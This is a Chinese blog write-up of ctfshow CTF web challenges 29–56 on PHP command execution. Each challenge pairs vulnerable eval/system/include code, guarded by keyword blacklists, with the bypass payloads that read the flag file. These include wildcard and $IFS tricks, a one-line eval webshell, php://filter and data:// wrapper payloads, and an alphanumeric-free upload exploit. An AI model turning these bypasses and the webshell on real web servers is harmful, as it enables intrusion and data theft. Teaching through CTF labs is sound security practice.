ctfshow-web入门-命令执行

已于 2022-07-20 09:21:32 修改
阅读量816 收藏 7
点赞数 1
文章标签： php 开发语言
于 2022-07-08 22:25:59 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_43618536/article/details/125686661
版权

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档

ctfshow-web入门-命令执行

题目

一、做题步骤

1.web29

源代码：

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

1.?c=phpinfo();
2.?c=system(‘ls’);
3.?c=system(“tac fla*.php”);
4.?c=system(“cat fla?.php”); 切记看源代码
5.?c=system(“cp fla*.php 1.txt”);
/1.txt
6.上传一句话木马
?c=eval($_POST[1]);
测试：
1=phpinfo();
蚁剑连接

2.web30

源代码：

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

1.一句话木马，万能的神啊（蚁剑连接）
2.复制

?c=`cp fla?.??? 1.txt`；

/1.txt

3.web31

源代码：

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

1.绕过过滤

?c=echo`tac%09fl*`;

2.一句话木马
?c=eval($_POST[1]);
POST data:
1=system(“tac flag.php”);

3.无参数函数
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

4.一句话木马
?c=eval($_GET[1]);&1=system(“tac flag.php”);

4.web32

源代码：

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

1.包含文件，hackbar中LFI有php伪协议的语句

?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

%0a是换行符，不加也行
?>是代替；

5.web33

源代码：

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

1.文件包含1
?c=include$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

2.文件包含2
?c=require$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

6.web34

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

1.文件包含1
?c=include$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

?c=require$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

2.文件包含2
?c=require$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

3.语言结构：不需要括号
echo
print
isset 返回布尔值（true/false）
unset 销毁
include
require

7.web35

源代码：

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

1.文件包含1
?c=include$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

?c=require$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

2.文件包含2
?c=require$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

8.web36

源代码：

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

1.文件包含1
?c=include$_POST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

?c=require$_POST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

2.文件包含2
?c=require$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

9.web37

源代码：

//flag in flag.php 
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

1.data伪协议
?c=data://text/plain,<?php system("tac fla*")?>

10.web38

源代码：

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

1.用=代替php ，短标签
?c=data://text/plain,<?= system("tac fla*")?>

2.base64

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhKiIpPz4=
<?php system("tac fla*")?>的base64为PD9waHAgc3lzdGVtKCJ0YWMgZmxhKiIpPz4=

11.web39

源代码：

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

1.用=代替php ，短标签
?c=data://text/plain,<?= system("tac fla*")?>

12.web40

源代码：

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\（|\）|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

1.无参数函数

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

13.web41

源代码：

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

或 （ | ） 这个运算符没有被过滤

做法

在这里插入图片描述

1.运行脚本rce_or.php
php-cgi.exe -f C:\Users\43844\Desktop\rce_or.php

2.得到rce_or.txt

3.运行exp.py
python exp.py http://a78ea1eb-93ec-4062-a94c-b4832082c67b.challenge.ctf.show/

4.使用命令，得到flag

在这里插入图片描述

14.web42

源代码：

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

cat flag.php;

cat flag.php%0a

cat flag.php||

cat flag.php%26

cat flag.php%26%26

15.web43

源代码：

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

tac flag.php%0a
nl flag.php%0a

用tac、nl代替cat

16.web44

源代码：

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=tac fla* ||

17.web45

源代码：

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=tac$IFS$4fla*||

18.web46

源代码：

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=tac<>fla’'g.php||

19.web47

源代码：

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=tac<>fla’'g.php||

20.web48

源代码：

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=tac<>fla’'g.php||

21.web49

源代码：

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=tac<>fla’'g.php||

22.web50

源代码：

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=tac<>fla’'g.php||

23.web51

源代码：

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=nl<>fla’'g.php||

看源代码

24.web52

源代码：

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=nl$IFS/fla’'g||

25.web53

源代码：

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

?c=ca’‘t${IFS}fla’'g.php

26.web54

源代码：

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

?c=/bin/?at${IFS}f???

27.web55

源代码：

// 你们在炫技吗？
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

1.创建post.html

无字母数字rce

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名：</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

2.打开post.html
上传一张图片

3.修改发送信息
头部：POST /?c=.+/???/????????[@-[] HTTP/1.1
信息内容：

#!/bin/sh
ls

#!/bin/sh
cat flag.php

28.web56

同web55一致

林本
关注
  • 1
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
CTFShow Web入门 命令执行
qq_19533763的博客
04-01 7117
命令执行绕过姿势：https://blog.csdn.net/qq_45836474/article/details/107248010 Web29 <?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } 可以看
ctfshow-web41~60-WP
02-21
目标是通过构建特定的payload来实现命令执行，并最终获取到flag。 #### 代码分析 首先，我们来看一下题目提供的PHP代码片段： ```php if(isset($_POST['c'])){ $c = $_POST['c']; if(!preg_match('/[0-9]|[a-z]...
CTFSHOW WEB入门——命令执行
Chur的博客
10-09 1155
ctfshow 靶场 web入门 命令执行系列
ctfshow-web入门-命令执行（web56、web57、web58）
最新发布
Welcome To Myon'Blog !
06-29 692
由于前面说的只有 -1，因此我们对 36 进行取反，得到 -37，对 -37 再次取反即可得到 36。这里说了 flag 在 36.php，那么我们只需要构造 36，但是数字被过滤了。根据 $((~ $(()) ))=-1，我们进行拼接，构造出 -37。命令执行，需要严格的过滤，已测试，可绕。
CTFshow—web入门——命令执行
h_adam的博客
10-07 2885
web入门——命令执行web29功能快捷键合理的创建标题，有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能，丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 web29 我们对Markdown编辑器进行了一些功能拓展与语法支持，除了标准的Markdown编辑器功能，我们增加了如下几点新功能，帮助你用它写博客
ctfshow web入门 命令执行
wxh的博客
02-12 454
web29 查看目录 由于flag被过滤，可以使用通配符进行绕过，查看flag.php c=system("nl fla?????"); web30 在上一道题的基础上多了system和php 运用反引号查看目录 并查看flag.php(flag php被过滤 运用通配符) web31 又加上了点、单引号和空格被过滤。我们可以通过shell中eval命令进行变量嵌套替换 c=eval($_GET[1]);&1=echo `nl flag.php `; ..
ctfshow web入门之命令执行
uuzfumo的博客
12-17 1082
命令执行姿势
ctfshow-VIP题目-Web-详细解题思路
01-27
CTFSHOW-VIP题目-Web-详细解题思路 本文档总结了CTFSHOW-VIP题目-Web的详细解题思路，涵盖了多个Web安全领域的知识点，包括WP源码泄露、协议头信息泄露、robots后台泄露、phps源码泄露、源码压缩包泄露、版本控制...
CTFshow-菜狗杯-WEB-变量循环取值-我的眼里只有$
03-04
【标题】"CTFshow-菜狗杯-WEB-变量循环取值-我的眼里只有$" 指的是一项网络安全竞赛中的Web题目，该题目重点在于理解PHP编程语言中的变量循环取值机制。在CTF（Capture The Flag）比赛中，参赛者通常需要解决各种...
CTFShow-周末大挑战parse-url篇Writeup
05-19
这表明服务端没有对用户输入进行充分的过滤或转义，允许了任意命令执行。 第二关中，URL编码的方式被用来绕过过滤。`%68%74%74%70%3a%2f%2f%64%61%74%61%3a%3a%2f%2f%74%65%73%74%2f%70%6c%61%69%6e%3b%62%61%73%65...
ctfshow web139命令盲注脚本
10-21
ctfshow靶场 web入门 web139 命令盲注脚本
CTFshow-web入门-命令执行
m0_52920608的博客
03-26 5334
CTFshow web入门 命令执行 ctfshowweb命令执行
ctfshow web 入门 命令执行
wsitcj的博客
02-20 364
1、直接传 c=system(‘cat f*’)
CTFshow Web入门 命令执行
m0_62905261的博客
05-01 1299
CTFshow Web入门 命令执行
CTFshow web入门之命令执行（web29-web77）
小白的博客
05-10 1439
2、然后上传一个new2.php文件并抓包，多试几次，因为不一定生成的临时文件的最后一个字母是大写，文件内容如下。1、先构造一个文件上传的html页面，代码如下（test-fileupdown.html）3、在上传文件的过程中，抓包，之后添加参数c=.%20/?4、所以传入这个参数的意思就是匹配上传command.php所生成的临时文件，并执行。接着直接用cat flag.php查看一下flag.php文件就好了。略（与web41相同）
CTFShow Web入门 命令执行（持续更新）
tj13995958709的博客
04-22 1909
3.array_pop(next(get_defined_vars()))是将数组中最后一个键值对的值弹出,配和POST传入的1=phpinfo();过滤了数字、大小写字母和一些特殊符号,基本大部分的都过滤了,只能对ASCII码中没被过滤的字符进行匹配,需要用到python写一个自动化脚本,以下是摘自往上的python脚本代码。除了system()、反引号``可以执行系统命令，exec()、shell_exec()、passthru()等函数也可以。这题又多过滤的几个特殊符号,通配符*被过滤了,可以用?
ctfshow-web入门——命令执行（1）（web29-web40）
m0_62905745的博客
03-16 904
本篇文章是ctfshow的web入门部分的命令执行部分wp（web29-web 40），包括一些题目解答，自己的笔记和总结，有错误还希望大家指正，一起学习进步！
Ctfshow Web入门 命令执行 Web31-74
qq_45427131的博客
10-21 2625
CtfShow Web入门-命令执行 感谢Y4师傅！看Y4的Wp真的学到好多！ Web31 过滤条件： flag\system\php\cat\sort\shell\小数点\空格\单引号 执行passthru()查看flag 绕过cat使用tac more less head tac tail nl od(二进制查看) vi vim sort uniq 绕过空格用%09 <> ${IFS} $IFS$9 {cat,fl*} %20 flag绕过可以用通符代替 执行echo查看flag echo
ctfshow web入门命令执行
09-05
在CTF中，web入门命令执行指的是通过Web应用程序的漏洞，将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息，可以看到一些常见的双写绕过...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值